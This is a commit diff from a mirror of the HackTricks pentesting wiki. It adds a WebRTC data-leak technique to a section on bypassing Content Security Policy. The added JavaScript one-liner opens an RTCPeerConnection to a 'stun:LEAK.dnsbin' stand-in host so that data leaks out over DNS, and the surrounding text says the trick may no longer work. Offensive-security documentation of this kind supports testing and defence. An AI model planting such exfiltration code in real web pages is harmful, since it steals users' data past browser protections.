mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Add WebRTC leak
This commit is contained in:
parent
184b0cda9d
commit
391ca4ad7e
1 changed files with 2 additions and 6 deletions
|
@ -626,15 +626,11 @@ Apparently, this technique doesn't work in headless browsers (bots)
|
|||
|
||||
On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
|
||||
|
||||
Actually you can *leak* informations using a *DNS request*. Check out this code:
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
||||
However, it doesn't look like it's [not possible anymore](https://github.com/w3c/webrtc-nv-use-cases/issues/35) (or at least not that easy).
|
||||
|
||||
If you know how to exfiltrate info with WebRTC [**send a pull request please!**](https://github.com/carlospolop/hacktricks)
|
||||
|
||||
## Checking CSP Policies Online
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
|
Loading…
Reference in a new issue